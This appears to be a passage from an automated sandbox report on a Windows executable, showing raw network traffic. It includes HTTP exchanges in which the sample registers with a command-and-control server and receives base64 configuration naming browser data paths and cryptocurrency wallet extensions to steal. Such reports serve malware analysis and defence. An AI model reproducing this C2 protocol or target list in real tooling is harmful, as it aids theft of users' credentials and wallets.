Oct 31, 2024 09:07:57.676008940 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.676008940 CET	50015	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.676043987 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.676073074 CET	443	50015	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.714545012 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.714600086 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.714759111 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.714759111 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.714768887 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.714828014 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.714988947 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.714988947 CET	50013	443	192.168.2.6	52.149.20.212
Oct 31, 2024 09:07:57.714998960 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.715012074 CET	443	50013	52.149.20.212	192.168.2.6
Oct 31, 2024 09:07:57.802481890 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.802896976 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.802906036 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.803327084 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.803333044 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.932861090 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.933021069 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.933079958 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.933233976 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.933249950 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:07:57.933259010 CET	50016	443	192.168.2.6	13.107.246.45
Oct 31, 2024 09:07:57.933264971 CET	443	50016	13.107.246.45	192.168.2.6
Oct 31, 2024 09:08:15.593094110 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:15.593189955 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:15.593386889 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:15.594033003 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:15.594062090 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.705348969 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.705729961 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.707519054 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.707549095 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.707787991 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.709145069 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.709214926 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.709228039 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.709338903 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.751357079 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.958280087 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.962949038 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.962992907 CET	443	50017	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:16.963035107 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:16.963069916 CET	50017	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:38.330545902 CET	49703	443	192.168.2.6	40.126.32.72
Oct 31, 2024 09:08:38.335829020 CET	443	49703	40.126.32.72	192.168.2.6
Oct 31, 2024 09:08:38.335897923 CET	49703	443	192.168.2.6	40.126.32.72
Oct 31, 2024 09:08:41.643125057 CET	49707	443	192.168.2.6	40.126.32.72
Oct 31, 2024 09:08:41.648236990 CET	443	49707	40.126.32.72	192.168.2.6
Oct 31, 2024 09:08:41.648312092 CET	49707	443	192.168.2.6	40.126.32.72
Oct 31, 2024 09:08:47.884797096 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:47.884850025 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:47.884953022 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:47.885500908 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:47.885518074 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.000020981 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.000189066 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.001991987 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.002026081 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.002367973 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.003889084 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.003958941 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.003972054 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.004081964 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.047353029 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.253998041 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.254507065 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.254575968 CET	443	50018	40.115.3.253	192.168.2.6
Oct 31, 2024 09:08:49.254650116 CET	50018	443	192.168.2.6	40.115.3.253
Oct 31, 2024 09:08:49.254651070 CET	50018	443	192.168.2.6	40.115.3.253

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 31, 2024 09:07:11.934572935 CET	53	58576	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:12.046840906 CET	50893	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:12.047540903 CET	50468	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:12.052336931 CET	53	54654	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:12.053641081 CET	53	50893	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:12.054285049 CET	53	50468	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:13.270478964 CET	53	53311	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:16.111536980 CET	56006	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:16.111743927 CET	63189	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:16.116075039 CET	53	53902	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:16.118217945 CET	53	56006	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:16.119385004 CET	53	63189	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:16.961344004 CET	53	63873	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:17.112977028 CET	57898	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:17.113317013 CET	63895	53	192.168.2.6	1.1.1.1
Oct 31, 2024 09:07:17.119847059 CET	53	57898	1.1.1.1	192.168.2.6
Oct 31, 2024 09:07:17.120383024 CET	53	63895	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 31, 2024 09:07:12.046840906 CET	192.168.2.6	1.1.1.1	0x3cf8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 09:07:12.047540903 CET	192.168.2.6	1.1.1.1	0xd23f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Oct 31, 2024 09:07:16.111536980 CET	192.168.2.6	1.1.1.1	0xf77e	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 09:07:16.111743927 CET	192.168.2.6	1.1.1.1	0x71f	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Oct 31, 2024 09:07:17.112977028 CET	192.168.2.6	1.1.1.1	0x1e6f	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Oct 31, 2024 09:07:17.113317013 CET	192.168.2.6	1.1.1.1	0x5df5	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 31, 2024 09:07:12.053641081 CET	1.1.1.1	192.168.2.6	0x3cf8	No error (0)	www.google.com		142.250.184.228	A (IP address)	IN (0x0001)	false
Oct 31, 2024 09:07:12.054285049 CET	1.1.1.1	192.168.2.6	0xd23f	No error (0)	www.google.com			65	IN (0x0001)	false
Oct 31, 2024 09:07:16.118217945 CET	1.1.1.1	192.168.2.6	0xf77e	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 09:07:16.118217945 CET	1.1.1.1	192.168.2.6	0xf77e	No error (0)	plus.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 09:07:16.119385004 CET	1.1.1.1	192.168.2.6	0x71f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 09:07:17.119847059 CET	1.1.1.1	192.168.2.6	0x1e6f	No error (0)	play.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

otelrules.azureedge.net

www.google.com

apis.google.com

play.google.com

fs.microsoft.com

slscr.update.microsoft.com

45.88.105.105

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	45.88.105.105	80	4888	C:\Users\user\Desktop\I43xo3KKfS.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 09:07:04.698528051 CET	88	OUT	GET / HTTP/1.1 Host: 45.88.105.105 Connection: Keep-Alive Cache-Control: no-cache
Oct 31, 2024 09:07:05.533236980 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 09:07:05.536859035 CET	417	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAE Host: 45.88.105.105 Content-Length: 217 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 35 37 38 45 33 30 39 30 37 31 32 32 30 34 30 34 30 39 34 30 32 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="hwid"9578E30907122040409402------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"LogsDiller------CGCFCBAKKFBFIECAEBAE--
Oct 31, 2024 09:07:05.927927017 CET	407	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:05 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 6a 41 79 4d 7a 59 30 59 54 68 6a 4e 54 5a 6a 4f 54 6c 6a 5a 57 45 7a 59 54 55 79 4d 47 4a 6c 59 6a 4d 35 4e 32 4a 6c 4d 47 56 68 4e 47 51 7a 4d 57 4a 6a 4d 44 51 34 59 57 45 32 4d 44 6b 77 4e 54 51 31 5a 47 59 77 4e 6d 4e 69 4e 54 6b 79 5a 47 56 69 4e 47 51 31 4e 57 4a 6a 4e 6d 45 79 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NjAyMzY0YThjNTZjOTljZWEzYTUyMGJlYjM5N2JlMGVhNGQzMWJjMDQ4YWE2MDkwNTQ1ZGYwNmNiNTkyZGViNGQ1NWJjNmEyfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDF8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 31, 2024 09:07:05.929428101 CET	468	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFC Host: 45.88.105.105 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 2d 2d 0d 0a Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="message"browsers------KEBKJDBAAKJDGCBFHCFC--
Oct 31, 2024 09:07:06.176096916 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2064 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 58 46 42 79 62 32 64 79 59 57 30 67 52 6d 6c 73 5a 58 4e 63 58 45 64 76 62 32 64 73 5a 56 78 63 51 32 68 79 62 32 31 6c 58 46 78 42 63 48 42 73 61 57 4e 68 64 47 6c 76 62 6c 78 63 66 45 64 76 62 32 64 73 5a 53 42 44 61 48 4a 76 62 57 55 67 51 32 46 75 59 58 4a 35 66 46 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 49 46 4e 34 55 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4d 48 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 57 31 70 5a 32 39 38 58 45 46 74 61 57 64 76 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEdvb2dsZVxcQ2hyb21lXFxBcHBsaWNhdGlvblxcfEdvb2dsZSBDaHJvbWUgQ2FuYXJ5fFxHb29nbGVcQ2hyb21lIFN4U1xVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8MHxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8QW1pZ298XEFtaWdvXFVzZXIgRGF0YXxjaHJvbWV8MHwwfFRvcmNofFxUb3JjaFxVc2VyIERhdGF8Y2hyb21lfDB8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8JUxPQ0FMQVBQREFUQSVcXFZpdmFsZGlcXEFwcGxpY2F0aW9uXFx8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8MHxFcGljUHJpdmFjeUJyb3dzZXJ8XEVwaWMgUHJpdmFjeSBCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8ZXBpYy5leGV8JUxPQ0FMQVBQREFUQSVcXEVwaWMgUHJpdmFjeSBCcm93c2VyXFxBcHBsaWNhdGlvblxcfENvY0NvY3xcQ29jQ29jXEJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicm93c2VyLmV4ZXxDOlxcUHJvZ3JhbSBGaWxlc1xcQ29jQ29jXFxCcm93c2VyXFxBcHBsaWNhdGlvblxcfEJyYXZlfFxCcmF2ZVNvZnR3YXJlXEJyYXZlLUJyb3dzZXJcVXNlciBEYXRhfGNocm9tZXxicmF2ZS5leGV8QzpcXFByb2dyYW0gRmlsZXNcXEJyYXZlU29mdHdhcmVcXEJyYXZlLUJyb3dz
Oct 31, 2024 09:07:06.176179886 CET	1056	IN	Data Raw: 5a 58 4a 63 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 46 78 38 51 32 56 75 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 Data Ascii: ZXJcXEFwcGxpY2F0aW9uXFx8Q2VudCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcXENlbnRCcm93c2VyXFxBcHBsaWNhdGlvblxcfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXI
Oct 31, 2024 09:07:06.177541971 CET	467	OUT	POST /e88e05dfd1bdeeb9.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHCFIJEGCAKJJKEHJJE Host: 45.88.105.105 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 32 33 36 34 61 38 63 35 36 63 39 39 63 65 61 33 61 35 32 30 62 65 62 33 39 37 62 65 30 65 61 34 64 33 31 62 63 30 34 38 61 61 36 30 39 30 35 34 35 64 66 30 36 63 62 35 39 32 64 65 62 34 64 35 35 62 63 36 61 32 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 43 46 49 4a 45 47 43 41 4b 4a 4a 4b 45 48 4a 4a 45 2d 2d 0d 0a Data Ascii: ------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="token"602364a8c56c99cea3a520beb397be0ea4d31bc048aa6090545df06cb592deb4d55bc6a2------HDHCFIJEGCAKJJKEHJJEContent-Disposition: form-data; name="message"plugins------HDHCFIJEGCAKJJKEHJJE--
Oct 31, 2024 09:07:06.423379898 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 08:07:06 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 31, 2024 09:07:06.423463106 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 31, 2024 09:07:06.423477888 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 31, 2024 09:07:06.423723936 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 31, 2024 09:07:06.423890114 CET	848	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
